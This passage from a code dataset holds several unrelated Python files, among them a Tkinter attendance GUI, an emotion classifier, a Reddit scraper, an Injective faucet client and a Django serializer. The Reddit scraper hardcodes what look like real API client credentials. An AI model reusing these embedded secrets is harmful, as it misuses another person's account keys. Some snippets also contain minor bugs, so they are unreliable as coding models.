\"Choose directory for validating data\")\n string_to_edit.config(text = top.val_dir)\n\ndef convert_errors_list_to_string(error_list):\n return \"\\n\".join(error_list)\n\ndef display_error(directory_check_errors):\n error = convert_errors_list_to_string(directory_check_errors)\n response = messagebox.showerror(title = \"Errors\", message = error)\n directory_check_errors.clear()\n \n\n# function to add to JSON \ndef write_json(data, filename=json_file_location):\n with open(filename, 'w') as f:\n json.dump(data, f, indent=4)\n\ndef add_to_json(name, encoding, svm, train_dir, val_dir):\n with open(json_file_location) as json_file: \n\t data = json.load(json_file) \n\t temp = data['model_details']\n\t\n\t date = datetime.datetime.now()\n\t date_str = datetime.datetime.now().strftime(\"%d/%m/%Y\")\n\t time_str = datetime.datetime.now().strftime(\"%I:%M:%S %p\")\n\t print(f\"{date_str} and {time_str}\")\n\t print(f\"{temp}\")\n\n # python object to be appended \n\t y = {\"name\" : name, \"encodings\" : encoding, \"svm_model\" : svm, \"train_dir\" : train_dir, \"val_dir\" : val_dir, \"date\" : str(date_str), \"time\" : str(time_str)} \n\n # appending data to emp_details \n\t temp.append(y) \n\t\n write_json(data) \n\n\ndef actually_train(train_dir_path, val_dir_path, e, top):\n from pythonScripts.faceRecognitionMtcnnFacenet import main_train # To reduce initial loading time for the app. Here it only loads when model has to be generated.\n main_train(e, f'{train_dir_path}\\\\', f'{val_dir_path}\\\\')\n \n add_to_json(e, f'{str(check_if_app_or_python())}\\\\saved-models\\\\{e}_classes.npy', f'{str(check_if_app_or_python())}\\\\saved-models\\\\{e}_svm.sav', train_dir_path, val_dir_path)\n top.destroy()\n\ndef keep_only_folder_name(x):\n return x.rsplit('\\\\', 1)[-1]\n\ndef train_to(train_dir_path, val_dir_path, e, directory_check_errors, top):\n print(f\"Train : {train_dir_path}\")\n print(f\"Validation : {val_dir_path}\")\n print(f\"Model Name : {e.get()}\")\n\n if e.get() == \"\" or str(e.get()).isspace():\n directory_check_errors.append(\"Enter a name for model\")\n elif e.get() in list_of_model_names:\n directory_check_errors.append(\"Model Name already exists. Enter a new name.\")\n \n if train_dir_path == val_dir_path:\n directory_check_errors.append(\"Enter separate folders for training and validation\")\n\n if train_dir_path==\"No Directory selected\" or val_dir_path==\"No Directory selected\" or train_dir_path==\"\" or val_dir_path==\"\":\n directory_check_errors.append(\"Select a directory for both training and validation\")\n display_error(directory_check_errors)\n else :\n print(train_dir_path)\n train_folder_subfolders = list(map(keep_only_folder_name, glob.glob(f'{train_dir_path}/*')))\n val_folder_subfolders = list(map(keep_only_folder_name, glob.glob(f'{val_dir_path}/*'))) \n \n if set(train_folder_subfolders).isdisjoint(set(val_folder_subfolders)):\n directory_check_errors.append(\"Both training and validation folders must have same subfolders. Here one folder has more subfolder\")\n\n directory_check(train_dir_path, \"Training Folder\", directory_check_errors) \n directory_check(val_dir_path, \"Validation Folder\", directory_check_errors)\n if len(directory_check_errors) > 0 :\n display_error(directory_check_errors)\n else : \n actually_train(train_dir_path, val_dir_path, e.get(), top)\n messagebox.showinfo(\"Information\", \"Restart app to see results\")\n \n \ndef check_jpg_or_png(x):\n if x.endswith('.png') or x.endswith('.jpg') or x.endswith('.jpeg'):\n return True\n return False\n\ndef directory_check(directory_path, folder_name, directory_check_errors):\n # Check if folder is passed not a file - handled already by filedialog.askdirectory()\n count = 0\n for (root, dirs, files) in os.walk(directory_path):\n count += 1\n if count == 1:\n # Check if folder contains only directories\n if len(files) > 0:\n directory_check_errors.append(f'{folder_name} contains files. It should contain only folders.')\n \n # Check if folder is empty\n # Check if folder has more than two directories\n if len(dirs) < 2:\n directory_check_errors.append(f'{folder_name} has less than two folders. Please ensure that there are atleast 3 or more folders constaining face images')\n else : \n for subfolder_file in glob.glob(resource_path(f'{directory_path}/*')):\n image_files = glob.glob(resource_path(f'{subfolder_file}/*'))\n check = map(check_jpg_or_png, image_files)\n # Check if each sub-folder is empty or not\n if image_files == []:\n directory_check_errors.append(f'{subfolder_file} : is not a valid folder an image file or (if folder) has no images')\n break\n\n # Check if each sub-folder must have jpgs or pngs\n elif False in list(check):\n directory_check_errors.append(f'Accepted image formats are png, jpg and jpeg. {subfolder_file} has file types other than png or jpg.')\n break\n\n # Check if each sub-folder of \"Training Folder\" must have more than 6 images\n elif len(image_files) < 6 and folder_name == \"Training Folder\":\n directory_check_errors.append(f'For Training each folder must have atleast 6 images. {subfolder_file} has less than 6 images') \n break\n\n # Check if each sub-folder of \"Validation Folder\" must have more than 6 images\n elif len(image_files) < 4 and folder_name == \"Validation Folder\":\n directory_check_errors.append(f'For Validation each folder must have atleast 4 images. {subfolder_file} has less than 4 images') \n break\n\n else: \n break\n\ndef open_add_model(directory_check_errors):\n top = Toplevel()\n top.title(\"Add New Model\")\n top.geometry(\"500x175\")\n top.grab_set()\n\n add_model_label = Label(top, text = \"Model Name : \")\n add_model_label.grid(row = 0, column = 0, columnspan = 2, padx = 8, pady = 10)\n e = Entry(top, width = 50)\n e.grid(row = 0, column = 2, columnspan = 4, pady = 10)\n\n\n train_location = Label(top, text = \"No Directory selected\")\n train_location.grid(row = 1, column = 2, columnspan = 4, padx = 8)\n train_button = Button(top, text = \"Directory for training data\", command = lambda : set_directory(\"train\", train_location, top))\n train_button.grid(row = 1, column = 0, columnspan = 2, padx = 8)\n\n val_location = Label(top, text = \"No Directory selected\")\n val_location.grid(row = 2, column = 2, columnspan = 4, padx = 8)\n val_button = Button(top, text = \"Directory for validating data\", command = lambda : set_directory(\"val\", val_location, top))\n val_button.grid(row = 2, column = 0, columnspan = 2, padx = 8)\n\n train_button = Button(top, text = \"TRAIN!\", command = lambda : train_to(train_location.cget('text'), val_location.cget('text'), e, directory_check_errors, top))\n train_button.grid(row = 3, column = 0, columnspan = 3, pady = 4, padx = 4)\n\n cancel_button = Button(top, text = \"Cancel\", command = top.destroy)\n cancel_button.grid(row = 3, column = 3, columnspan = 3, pady = 10, padx = 4)\n \n top.protocol(\"WM_DELETE_WINDOW\", lambda : on_closing(top))\n\ndef delete_model(model_name_to_be_deleted):\n print(f\"Model name to be deleted : {model_name_to_be_deleted}\")\n model_embeddings_path = f\"{model_directory}{model_name_to_be_deleted}_classes.npy\"\n model_svm_path = f\"{model_directory}{model_name_to_be_deleted}_svm.sav\"\n\n decision = messagebox.askyesno(\"Delete Model\", \"Do you really want to delete the model?\")\n print(f'decision : {decision}')\n\n if decision:\n if os.path.exists(model_embeddings_path):\n os.remove(model_embeddings_path)\n else:\n print(\"Embedding file not found!\")\n\n if os.path.exists(model_svm_path):\n os.remove(model_svm_path)\n else:\n print(\"SVM file not found!\")\n\n with open(json_file_location) as json_file: \n data = json.load(json_file) \n temp = data['model_details'] \n\n for index, json_obj in enumerate(temp):\n if json_obj[\"name\"]==model_name_to_be_deleted:\n temp.pop(index)\n break\n else:\n continue\n\n list_of_model_names.remove(model_name_to_be_deleted)\n write_json(data)\n\n messagebox.showinfo(\"Information\", \"Restart app to see results\")\n else : \n pass\n\n\n\ndef add_model_entry(frame, model_name:str, train_dir, val_dir, date_created):\n\n Lframe = LabelFrame(frame, text = model_name)\n Lframe.pack(fill = 'x', padx = 3)\n\n delete_frame = Frame(Lframe, borderwidth=0, highlightthickness = 0)\n delete_frame.grid(row = 0, column = 5, rowspan = 3, columnspan = 2)\n button = Button(delete_frame, text = \"Delete\", command = lambda : delete_model(model_name))\n button.grid(row = 0, column = 2, padx = 5)\n\n content_frame = Frame(Lframe, borderwidth=5, width=300, height=100)\n content_frame.grid(row = 0, column = 0, columnspan = 5, rowspan = 3, sticky=(W, E))\n \n training_dir = Message(content_frame, text = f\"Trained on : {train_dir}\", anchor=\"w\")\n training_dir.config(width = train_and_val_width)\n training_dir.grid(row = 0, column = 0, columnspan = 5, sticky=(W, E))\n\n validation_dir = Message(content_frame, text = f\"Validated on : {val_dir}\", anchor=\"w\")\n validation_dir.config(width = train_and_val_width)\n validation_dir.grid(row = 1, column = 0, columnspan = 5, sticky=(W, E))\n\n date_when_created = Label(content_frame, text = f\"Created on : {date_created}\", width = 60, anchor = \"w\")\n date_when_created.grid(row = 2, column = 0, columnspan = 5, sticky=(W, E))\n\n\ndef populate(frame, model_detes):\n\n for i in model_detes : \n name = i[\"name\"]\n train = i[\"train_dir\"]\n val = i[\"val_dir\"]\n datte = f\"{i['date']} {i['time']}\"\n add_model_entry(frame, name, train, val, datte)\n list_of_model_names.append(name)\n\ndef onFrameConfigure(canvas):\n '''Reset the scroll region to encompass the inner frame'''\n canvas.configure(scrollregion=canvas.bbox(\"all\"))\n\ndef main():\n print(\"main_window.py\")\n global root\n global list_of_model_names\n root = Tk()\n root.title(\"Smart Attendance System\")\n root.geometry(\"700x500\")\n root.resizable(0, 1)\n\n directory_check_errors = []\n\n menubar = Menu(root)\n root.config(menu = menubar)\n menubar.add_cascade(label = \"Add Model\", command = lambda : open_add_model(directory_check_errors))\n menubar.add_cascade(label = \"Open Guide PDF\", command=open_guide)\n # Submenu\n submenu = Menu(menubar, tearoff=False)\n submenu.add_cascade(label = \"On Image\", command = lambda : main_image(list_of_model_names))\n submenu.add_cascade(label = \"On Video\", command = lambda : main_video(list_of_model_names))\n\n menubar.add_cascade(label = \"Test Model\", menu = submenu)\n\n\n with open(json_file_location) as json_file:\n model_info_dict = json.load(json_file)\n\n if len(model_info_dict[\"model_details\"]) > 0:\n canvas = Canvas(root, borderwidth=0)\n frame = Frame(canvas)\n vsb = Scrollbar(root, orient=\"vertical\", command=canvas.yview)\n canvas.configure(yscrollcommand=vsb.set)\n\n vsb.pack(side=\"right\", fill=\"y\")\n canvas.pack(side=\"left\", fill=\"both\", expand=True)\n canvas.create_window((4,4), window=frame, anchor=\"nw\")\n\n frame.bind(\"\", lambda event, canvas=canvas: onFrameConfigure(canvas)) \n\n populate(frame, model_info_dict[\"model_details\"])\n \n else : \n frame = Frame(root)\n frame.pack(fill = 'x', padx = 3)\n\n no_models_label = Label(frame, text = \"No Existing Models\")\n no_models_label.pack()\n\n print(\"main_window bottom\")\n root.protocol(\"WM_DELETE_WINDOW\", lambda : on_closing(root))\n root.mainloop()\n\nif __name__==\"__main__\":\n main()\n","repo_name":"sheldonr15/Smart-Attendance-System","sub_path":"gui/main_window.py","file_name":"main_window.py","file_ext":"py","file_size_in_byte":13976,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"34474075534","text":"import wx\nimport datetime\n\nclass MyFrame(wx.Frame):\n def __init__(self, parent, id, title):\n wx.Frame.__init__(self, parent, id, title, size=(300, 200))\n panel = wx.Panel(self)\n\n self.nome_label = wx.StaticText(panel, label=\"Nome:\", pos=(10, 10))\n self.nome_text = wx.TextCtrl(panel, pos=(100, 10))\n\n self.idade_label = wx.StaticText(panel, label=\"Idade:\", pos=(10, 40))\n self.idade_text = wx.TextCtrl(panel, pos=(100, 40))\n\n self.calcular_botao = wx.Button(panel, label=\"Calcular Data de Nascimento\", pos=(10, 70))\n self.calcular_botao.Bind(wx.EVT_BUTTON, self.calcular_data_nascimento)\n\n self.resultado_label = wx.StaticText(panel, label=\"\", pos=(10, 100))\n\n def calcular_data_nascimento(self, event):\n nome = self.nome_text.GetValue()\n idade_str = self.idade_text.GetValue()\n\n try:\n idade = int(idade_str)\n data_atual = datetime.date.today()\n ano_nascimento = data_atual.year - idade\n resultado = f\"Olá, {nome}! Você nasceu em {ano_nascimento}.\"\n except ValueError:\n resultado = \"Por favor, insira uma idade válida.\"\n\n self.resultado_label.SetLabel(resultado)\n\napp = wx.App()\nframe = MyFrame(None, -1, \"Calculadora de Data de Nacimento\")\nframe.Show(True)\napp.MainLoop()","repo_name":"PedroRamos2023/Python","sub_path":"ex004/ex004.py","file_name":"ex004.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19173853182","text":"from transformers import AutoModelForSequenceClassification\r\nfrom transformers import TFAutoModelForSequenceClassification\r\nfrom transformers import AutoTokenizer\r\nimport numpy as np\r\nfrom scipy.special import softmax\r\nimport csv\r\nimport urllib.request\r\n\r\ndef process(text):\r\n \r\n \r\n# Tasks:\r\n# emoji, emotion, hate, irony, offensive, sentiment\r\n# stance/abortion, stance/atheism, stance/climate, stance/feminist, stance/hillary\r\n\r\n task='emotion'\r\n MODEL = f\"cardiffnlp/twitter-roberta-base-{task}\"\r\n\r\n tokenizer = AutoTokenizer.from_pretrained(MODEL)\r\n\r\n# download label mapping\r\n labels=[]\r\n mapping_link = f\"https://raw.githubusercontent.com/cardiffnlp/tweeteval/main/datasets/{task}/mapping.txt\"\r\n with urllib.request.urlopen(mapping_link) as f:\r\n html = f.read().decode('utf-8').split(\"\\n\")\r\n csvreader = csv.reader(html, delimiter='\\t')\r\n labels = [row[1] for row in csvreader if len(row) > 1]\r\n\r\n\r\n# PT\r\n model = AutoModelForSequenceClassification.from_pretrained(MODEL)\r\n model.save_pretrained(MODEL)\r\n tokenizer.save_pretrained(MODEL)\r\n\r\n\r\n encoded_input = tokenizer(text, return_tensors='pt')\r\n output = model(**encoded_input)\r\n scores = output[0][0].detach().numpy()\r\n scores = softmax(scores)\r\n\r\n\r\n ranking = np.argsort(scores)\r\n ranking = ranking[::-1]\r\n for i in range(scores.shape[0]):\r\n l = labels[ranking[i]]\r\n s = scores[ranking[i]]\r\n \r\n print(f\"{i+1}) {l} {np.round(float(s), 4)}\")\r\n if ( labels[ranking[i]] == \"anger\" or labels[ranking[i]] == \"sadness\") and scores[ranking[i]] > 0.5000 :\r\n print (\"is every thing is okay?\")\r\n return(\"VIOLENCE DETECTED\")\r\n else:\r\n return (\"0\")\r\n \r\n ","repo_name":"siwarakkari/chaperonProject","sub_path":"chaperonee/emotion.py","file_name":"emotion.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40606901621","text":"from praw import Reddit\nfrom praw.models import MoreComments\nimport json\nfrom datetime import datetime\nimport requests\nimport time\nfrom urllib.request import urlopen\nimport pandas as pd\nimport os\n\n\nclass InstanceLogin:\n def __init__(self):\n \"\"\"Generate reddit instance\"\"\"\n self.reddit = Reddit(user_agent='Comment Extraction (by /u/sgdzhou5)',\n client_id='zanmra52bp9GSg', client_secret='jrm-DL_IxEexh8WZbi1VduOmAFk')\n self.start_time = datetime.utcnow()\n\n def submission_extraction(self):\n url = \"https://api.pushshift.io/reddit/submission/search?subreddit=iot&before={}&sort=desc&size=1000\"\n count = 0\n id_ls = []\n previous_epoch = int(self.start_time.timestamp())\n while True:\n new_url = url.format(str(previous_epoch))\n json = requests.get(new_url, headers={'User-Agent': 'Comment Extraction (by /u/sgdzhou5)'})\n time.sleep(1)\n json_data = json.json()\n if 'data' not in json_data:\n break\n objects = json_data['data']\n if len(objects) == 0:\n break\n for object in objects:\n previous_epoch = object['created_utc'] - 1\n count += 1\n if object['is_self']:\n if 'selftext' not in object:\n continue\n try:\n id_ls.append(object['id'])\n except Exception as err:\n print(f\"Couldn't print post: {object['url']}\")\n print(\"Saved {} submissions through {}.\".format(count, datetime.fromtimestamp(previous_epoch).strftime(\"%Y-%m-%d\")))\n print(f\"Saved {count}\")\n return id_ls\n\n def extract_comment(self, id_ls):\n \"\"\"Harvest comment data from Reddit\"\"\"\n corpus = pd.DataFrame(columns=[\"Title\", \"Comment\"])\n for i in id_ls:\n submission = self.reddit.submission(id=i)\n submission.comments.replace_more(limit=None)\n title = submission.title\n comment_queue = submission.comments[:]\n while comment_queue:\n comment = comment_queue.pop(0)\n print(title)\n temp = comment.body\n d = {\"Title\": title, \"Comment\": temp}\n corpus = corpus.append(d, ignore_index=True)\n comment_queue.extend(comment.replies)\n return corpus\n\n\npath = os.path.dirname(os.path.dirname(__file__)) + '/Corpora/'\n# for i in [\"top\", \"hot\", \"new\"]:\n# corpora = pd.read_csv(path + \"{}.csv\".format(i))\nreddit = InstanceLogin()\nid_ls = reddit.submission_extraction()\ncorpus = InstanceLogin().extract_comment(id_ls)\ncorpus.to_csv(path + \"new_corpus.csv\", index=False)\n\n","repo_name":"dawei-Z/GLDA-with-BERT-word-embedding","sub_path":"util/Data_Harvest.py","file_name":"Data_Harvest.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14221409708","text":"import cv2\n\ncap = cv2.VideoCapture(0)\n\nprint(cap.get(cv2.CAP_PROP_FRAME_WIDTH), cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\n# set properties\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, 3000) # 3 for width\ncap.set(4, 3000) # 4 for height\n\nprint(cap.get(3), cap.get(4))\n\nwhile(cap.isOpened()):\n ret, frame = cap.read()\n\n if ret == True:\n font = cv2.FONT_HERSHEY_SIMPLEX;\n text = \"Some text on live video \"\n frame = cv2.putText(frame, text, (10, 50), font, 1, (0, 255, 255), 2, cv2.LINE_AA);\n cv2.imshow('Frame ', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('c'):\n break\n else:\n break\n\ncap.release()\ncv2.destroyAllWindows()","repo_name":"princexoleo/opencv-basics","sub_path":"draw/add_text_to_video.py","file_name":"add_text_to_video.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37351579144","text":"from enum import IntEnum\n\nfrom aiogram.filters.callback_data import CallbackData\n\n\nclass DelayEnum(IntEnum):\n FIVE = 5\n TEN = 10\n FIFTEEN = 15\n TWENTY = 20\n TWENTY_FIVE = 25\n THIRTY = 30\n THIRTY_FIVE = 35\n FORTY = 40\n FORTY_FIVE = 45\n FIFTY = 50\n FIFTY_FIVE = 55\n SIXTY = 60\n\n\nclass ChgDelayCbData(CallbackData, prefix=\"delay\"):\n action: DelayEnum\n group_id: int\n","repo_name":"parciffal/cloneStormTweetBot","sub_path":"app/utils/callback_data/user_callback_data/change_delay_cb_data.py","file_name":"change_delay_cb_data.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13978397800","text":"def solution(s1, s2):\n\n temp1 = list(s1.split('->'))\n temp2 = list(s2.split('->'))\n\n answer = []\n\n while temp1 or temp2:\n\n answer.append(temp1.pop(0))\n answer.append(temp2.pop(0))\n\n return answer\n\n\nprint(solution('1->2->4', '1->3->4'))","repo_name":"minsung8/algorithmProblem_Exercise","sub_path":"merge_two_lists.py","file_name":"merge_two_lists.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73994256787","text":"# -*- coding:utf-8 -*-\n# @FileName :batch_modify_label_name.py\n# @Author :Deyu He\n# @Time :2022/9/3 14:23\n\n# import re\n# import copy\nfrom functools import partial # noqa: F401\nfrom pathlib import Path\n\nimport pyutils\n\nmap_dict = {\n \"C1210_15um_green\": \"CR_body\",\n \"C1206_15um_green\": \"CR_body\",\n \"C0805_15um_green\": \"CR_body\",\n \"C0603_15um_green\": \"CR_body\",\n \"C0402_15um_green\": \"CR_body\",\n \"C0201_15um_green\": \"CR_body\",\n \"C01005_15um_green\": \"CR_body\",\n \"R1210_15um_green\": \"CR_body\",\n \"R1206_15um_green\": \"CR_body\",\n \"R0805_15um_green\": \"CR_body\",\n \"R0603_15um_green\": \"CR_body\",\n \"R0402_15um_green\": \"CR_body\",\n \"R0201_15um_green\": \"CR_body\",\n \"R01005_15um_green\": \"CR_body\",\n \"8P4R_0402_body\": \"8P4R_body\",\n \"8P4R_0603_body\": \"8P4R_body\",\n}\n\n\ndef batch_modify_label_name(src_json_dir, output_dir, update_shapes_label_func):\n assert update_shapes_label_func is not None\n assert output_dir is not None\n Path(output_dir).mkdir(parents=True, exist_ok=True)\n for src_json_path in pyutils.glob_dir(src_json_dir, include_patterns=[\"*.json\"]):\n json_data = pyutils.load_json(src_json_path)\n\n for label_item in json_data[\"shapes\"]:\n update_shapes_label_func(label_item)\n pyutils.dump_json(json_data, Path(output_dir) / Path(src_json_path).name)\n\n # new_json_data = copy.deepcopy(json_data)\n # new_json_data[\"shapes\"] = []\n # for label_item in json_data[\"shapes\"]:\n # if not label_item[\"label\"].endswith(\"with_pad\"):\n # new_json_data[\"shapes\"].append(label_item)\n # pyutils.dump_json(new_json_data, Path(output_dir) / Path(src_json_path).name)\n\n\n# def delete_last_to_label(label_item):\n# name_keys = label_item[\"label\"].split(\"_\")\n# label_item[\"label\"] = \"_\".join(name_keys[:-1])\n#\n#\n# def add_postfix_to_label(label_item, postfix):\n# name_keys = label_item[\"label\"].split(\"_\")\n# name_keys.append(str(postfix))\n# label_item[\"label\"] = \"_\".join(name_keys)\n#\n#\n\n\ndef remap(label_item):\n # for label_old, label_new in map_dict.items():\n # if label_old == label_item[\"label\"]:\n # label_item[\"label\"] = label_new\n # break\n label = label_item[\"label\"]\n if label.startswith(\"8P4R\"):\n if label.endswith(\"body\"):\n label_item[\"label\"] = \"8P4R_body\"\n elif label.endswith(\"with_pad\"):\n label_item[\"label\"] = \"8P4R_with_pad\"\n elif label.startswith(\"SOT\"):\n if label.endswith(\"body\"):\n label_item[\"label\"] = \"SOT_body\"\n elif label.endswith(\"with_pad\"):\n label_item[\"label\"] = \"SOT_with_pad\"\n elif label.startswith(\"LED\"):\n if label.endswith(\"body\"):\n label_item[\"label\"] = \"LED_body\"\n elif label.endswith(\"with_pad\"):\n label_item[\"label\"] = \"LED_with_pad\"\n elif label.startswith(\"R\"):\n if label.endswith(\"with_pad\"):\n label_item[\"label\"] = \"R_with_pad\"\n else:\n label_item[\"label\"] = \"R_body\"\n elif label.startswith(\"C\"):\n if label.endswith(\"with_pad\"):\n label_item[\"label\"] = \"C_with_pad\"\n else:\n label_item[\"label\"] = \"C_body\"\n elif label == \"land\":\n label_item[\"label\"] = \"Land\"\n\n\n# def relabel(label_item, label_new):\n# label_item[\"label\"] = label_new\n#\n#\n# def customized_update(label_item):\n# if len(label_item[\"label\"].split(\"_\")) > 1:\n# return\n# label_item[\"label\"] = \"SOT_\" + label_item[\"label\"][3:] + \"_with_pad\"\n\n\nif __name__ == \"__main__\":\n src_json_dir = r\"D:\\data\\raw\\sot_stb\"\n output_dir = r\"D:\\data\\raw\\temp\"\n\n batch_modify_label_name(\n src_json_dir=src_json_dir,\n output_dir=output_dir,\n update_shapes_label_func=remap,\n )\n","repo_name":"HeDeYu/data_aug","sub_path":"scripts/batch_modify_label_name.py","file_name":"batch_modify_label_name.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44277172446","text":"import json\nimport logging\n\nfrom typing import Optional\n\nimport aiohttp\n\nfrom frontrunner_sdk.exceptions import FrontrunnerConfigurationException\nfrom frontrunner_sdk.exceptions import FrontrunnerException\nfrom frontrunner_sdk.exceptions import FrontrunnerInjectiveException\nfrom frontrunner_sdk.exceptions import FrontrunnerUnserviceableException\nfrom frontrunner_sdk.logging.log_external_exceptions import log_external_exceptions # NOQA\nfrom frontrunner_sdk.models.wallet import Wallet # NOQA\n\nlogger = logging.getLogger(__name__)\n\n\nclass InjectiveFaucet:\n\n def __init__(self, base_url: Optional[str]):\n if base_url is None:\n raise FrontrunnerConfigurationException(\"No Injective faucet base url configured\")\n\n self.base_url = base_url\n\n @log_external_exceptions(__name__)\n async def fund_wallet(self, wallet: Wallet) -> dict:\n async with aiohttp.ClientSession() as session:\n try:\n logger.debug(\"Calling Injective faucet to fund wallet with address=%s\", wallet.injective_address)\n\n async with session.post(f\"{self.base_url}?address={wallet.injective_address}\") as response:\n # content type is sometimes text/plain and sometimes application/json, but is always json. Using .json() fails\n # whenever it's text/plain, so decoding manually as a workaround.\n body = json.loads(await response.text())\n\n if response.status >= 500:\n raise FrontrunnerUnserviceableException(\n body[\"message\"],\n base_url=self.base_url,\n address=wallet.injective_address,\n )\n\n if not response.ok:\n raise FrontrunnerInjectiveException(\n body[\"message\"],\n base_url=self.base_url,\n address=wallet.injective_address,\n )\n\n logger.debug(\"Received response from Injective faucet yielding message=%s\", body[\"message\"])\n\n return body\n\n except FrontrunnerException as exception:\n raise exception\n\n except Exception as cause:\n raise FrontrunnerUnserviceableException(\n \"Could not fund wallet from faucet\",\n base_url=self.base_url,\n address=wallet.injective_address,\n ) from cause\n","repo_name":"GetFrontrunner/frontrunner-sdk","sub_path":"frontrunner_sdk/clients/injective_faucet.py","file_name":"injective_faucet.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"16556179072","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution(object):\n\n def mergeKLists(self, lists):\n \"\"\"\n :type lists: List[ListNode]\n :rtype: ListNode\n \"\"\"\n root = result = ListNode(None)\n heap = []\n\n # heap에 단순 저장(heap을 활용해서)\n for i in range(len(lists)):\n if lists[i]:\n heapq.heappush(heap, (lists[i].val, i, lists[i]))\n # heap의 i크기 순으로 추출하면서 result 연결 리스트 구성(=root)\n while heap:\n node = heapq.heappop(heap)\n idx = node[1]\n result.next = node[2]\n\n result = result.next\n if result.next:\n heapq.heappush(heap, (result.next.val, idx, result.next))\n return root.next","repo_name":"junhong625/MOCOCO","sub_path":"[4주차] 데크와 우선순위 큐(deque)/[LeetCode 23번] Merge k Sorted Lists/홍영민_heap사용법확인.py","file_name":"홍영민_heap사용법확인.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"1411505964","text":"senseMap = {1: '', 2: '~', 3: '~!', 4: '!'}\n\n\ndef _escapeName(name):\n return name.replace(':', '::')\n\n\ndef _escapeFlags(name):\n return name.replace(':', '\\:')\n\n\ndef depSetFreeze(members):\n words = []\n for tag, depClass in sorted(members.items()):\n for dep in depClass.getDeps():\n words.append('%d#' % tag)\n words.extend(depFreeze(dep))\n words.append('|')\n if words:\n # Pop trailing pipe character\n words.pop()\n return ''.join(words)\n\n\ndef depFreeze(dep):\n words = []\n words.append(_escapeName(dep.name))\n for flag, sense in sorted(dep.flags.items()):\n words.append(':%s%s' % (senseMap[sense], _escapeFlags(flag)))\n return words\n\n\ndef depSetSplit(offset, data):\n data = data[offset:]\n end = data.find('|')\n if end < 0:\n end = len(data)\n data = data[:end]\n tag = data.find('#')\n if tag < 0:\n raise ValueError(\"invalid frozen dependency\")\n tag, frozen = data[:tag], data[tag + 1:]\n next = offset + end + 1\n return next, int(tag), frozen\n\n\ndef depSplit(frozen):\n frozen = frozen.replace('::', '\\1').replace('\\\\:', '\\1')\n a = frozen.find(':')\n if a < 0:\n a = len(frozen)\n name, flags = frozen[:a], frozen[a+1:]\n name = name.replace('\\1', ':')\n if flags:\n flagList = flags.split(':')\n flagList = [x.replace('\\1', ':').replace('\\\\', '') for x in flagList]\n else:\n flagList = []\n return name, flagList\n","repo_name":"sassoftware/conary","sub_path":"conary/lib/ext/dep_freeze.py","file_name":"dep_freeze.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"48"} +{"seq_id":"12703198062","text":"import sys\r\n\r\nnum = int(input())\r\n\r\nfor i in range (num):\r\n stack = []\r\n a = input()\r\n for j in a:\r\n if j == '(':\r\n stack.append(j)\r\n elif j == ')':\r\n if stack:\r\n stack.pop()\r\n else: #스택에 괄호 안들어가 있는 경우 NO 출력\r\n print(\"NO\")\r\n break\r\n else: #break로 끊기지 않은 경우\r\n if not stack: #중간에 끊기지 않고, 스택이 비어있으면 괄호 맞음\r\n print(\"YES\")\r\n else: #스택이 비어있지 않다면 괄호 안맞는 것임\r\n print(\"NO\")\r\n","repo_name":"Pearl-K/Algorithm-Baekjoon-Programmers-","sub_path":"백준/Silver/9012. 괄호/괄호.py","file_name":"괄호.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40630818263","text":"from rest_framework import serializers\n\nfrom store.models import Product, ShoppingCartItem\n\n\nclass CartItemSerializer(serializers.ModelSerializer):\n quantity = serializers.IntegerField(min_value=1, max_value=100)\n\n class Meta:\n model = ShoppingCartItem\n fields = ('product', 'quantity')\n\n\nclass ProductSerializer(serializers.ModelSerializer):\n is_on_sale = serializers.BooleanField(read_only=True)\n current_price = serializers.FloatField(read_only=True)\n description = serializers.CharField(min_length=2, max_length=200)\n cart_items = serializers.SerializerMethodField()\n price = serializers.DecimalField(\n min_value=1.00, max_value=100000,\n max_digits=None, decimal_places=2,\n )\n sale_start = serializers.DateTimeField(\n required=False,\n input_formats=['%I:%M %p %d %B %Y'], format=None, allow_null=True,\n help_text='Accepted format is \"12:01 PM 16 April 2019\"',\n style={'input_type': 'text', 'placeholder': '12:01 AM 28 July 2019'},\n )\n sale_end = serializers.DateTimeField(\n required=False,\n input_formats=['%I:%M %p %d %B %Y'], format=None, allow_null=True,\n help_text='Accepted format is \"12:01 PM 16 April 2019\"',\n style={'input_type': 'text', 'placeholder': '12:01 AM 28 July 2019'},\n )\n photo = serializers.ImageField(default=None)\n warranty = serializers.FileField(write_only=True, default=None)\n\n class Meta:\n model = Product\n fields = (\n 'id', 'name', 'description', 'price', 'sale_start', 'sale_end',\n 'is_on_sale', 'current_price', 'cart_items',\n 'photo', 'warranty',\n )\n\n def get_cart_items(self, instance):\n items = ShoppingCartItem.objects.filter(product=instance)\n return 